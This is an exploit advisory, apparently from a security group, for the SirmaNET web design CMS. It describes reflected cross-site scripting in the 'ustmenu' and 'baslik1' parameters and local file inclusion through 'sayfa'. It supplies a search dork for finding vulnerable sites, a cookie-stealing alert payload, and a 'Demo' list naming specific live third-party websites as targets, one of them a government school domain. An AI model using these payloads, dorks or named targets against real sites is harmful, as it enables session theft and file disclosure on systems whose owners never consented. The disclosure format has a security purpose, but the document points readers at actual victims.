SirmaNET Web Design Cross Site Scripting / Local File Inclusion

`  
########################################################################################  
# #  
# Exploit Title : SirmaNET Web Design Multiple Vulnerabilities #  
# #  
# Author : Secure-Land Security Team #  
# #  
# Discovered By : farbodmahini #  
# #  
# Home : Secure-Land.net #  
# #  
# Vendor : www.sirmanet.com #  
# #  
# Contact : [email protected] , [email protected] #  
# #  
# Security Risk : High #  
# #  
# DorK : inurl:"index.php?sayfa=altmenu.php" #  
# #  
# #  
########################################################################################  
# #  
# [XSS]: #  
# #  
# http://[TarGeT]/index.php?sayfa=altmenu.php&ustmenu=[XSS] #  
# http://[TarGeT]/index.php?sayfa=altmenu.php&baslik1=[XSS] #  
# #  
# ~xss : #  
# #  
# “><script >alert(document.cookie)</script> #  
# #  
# [LFI] : #  
# #  
# http://[TarGeT]/index.php?sayfa=[LFI] #  
# #  
# #  
# Demo : #  
# #  
# http://basaksehir.meb.gov.tr/index.php?sayfa=altmenu.php&ustmenu=[XSS] #  
# http://www.yigitemlakfinans.com/index.php?sayfa=altmenu.php&baslik1=[XSS] #  
# http://www.germanica.com.tr/index.php?sayfa=altmenu.php&ustmenu=[XSS] #  
# www.yigitemlakfinans.com/index.php?sayfa=[LFI] #  
# #  
########################################################################################  
# #  
# Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us #  
# #  
########################################################################################  
# #  
# Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id #  
# #  
########################################################################################  
`